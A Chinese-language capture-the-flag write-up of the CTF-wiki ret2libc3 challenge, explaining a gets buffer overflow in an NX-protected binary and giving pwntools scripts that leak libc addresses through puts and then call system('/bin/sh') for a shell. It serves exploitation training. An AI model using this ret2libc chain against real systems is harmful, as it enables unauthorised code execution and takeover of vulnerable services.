[WP]CTFwiki-ret2libc3
1.例行检查程序。具有 NX 保护。
2.IDA载入之后,发现有一个 gets 函数,而 gets 函数使用方便但是十分危险的,因为它对输入长度没有限制,因此我们可以通过 gets 来达到溢出的目的。
3.通过 IDA 我们发现并没有预留 system 函数和 /bin/sh 字符串。但是我们发现了 printf 函数,通过这个函数我们便可以将已经执行过的函数的实际地址给泄露出来。
4.之后我们计算溢出点,便可以先将部分函数泄露出来。我选择的是泄露 __libc_start_main 和 puts 两个函数地址。
#!/usr/bin/env python from pwn import * p = process('./ret2libc3') elf = ELF('./ret2libc3') puts_plt = elf.plt['puts'] libc_start_main_got = elf.got['__libc_start_main'] main = elf.symbols['main'] puts_got = elf.got['puts'] print "leak libc_start_main_got addr and return to main again" payload1 = 'a' * 112 payload1 += p32(puts_plt) payload1 += p32(main) payload1 += p32(libc_start_main_got) ##需要泄露的函数地址 p.recvuntil('Can you find it !?') p.sendline(payload1) print "get the related addr" libc_start_main_addr = u32(p.recv()[0:4]) print("addr:" + hex(libc_start_main_addr))
5.通过这两个地址,我们便可以得到 libc 的版本了。
#libc_start_main = 0xf7df5d90 #puts_got = 0xf7e44b40
6.之后我们便可以构造完整的 exp 了。(通过 LibcSearcher 也可以直接找到 libc 的版本。)
#!/usr/bin/env python from pwn import * #####from LibcSearcher import LibcSearcher##### p = process('./ret2libc3') elf = ELF('./ret2libc3') puts_plt = elf.plt['puts'] libc_start_main_got = elf.got['__libc_start_main'] main = elf.symbols['main'] puts_got = elf.got['puts'] print "leak libc_start_main_got addr and return to main again" payload1 = 'a' * 112 payload1 += p32(puts_plt) payload1 += p32(main) payload1 += p32(libc_start_main_got) p.recvuntil('Can you find it !?') p.sendline(payload1) print "get the related addr" libc_start_main_addr = u32(p.recv()[0:4]) print("addr:" + hex(libc_start_main_addr)) #libc = LibcSearcher('__libc_start_main', libc_start_main_addr) #base_addr = libc_start_main_addr - libc.dump('__libc_start_main') #sys_addr = base + libc.dump('system') #bin_sh_addr = base + libc.dump('str_bin_sh') base = libc_start_main_addr - 0x018d90 sys_addr = 0x03d200 + base print "system:" + hex(sys_addr) bin_sh_addr = 0x17e0cf + base print "binsh:" + hex(bin_sh_addr) print "get shell" payload = 'a' * 104 #第二次重定位 payload += p32(sys_addr) payload += p32(0xdeadbeef) payload += p32(bin_sh_addr) p.sendline(payload) p.interactive()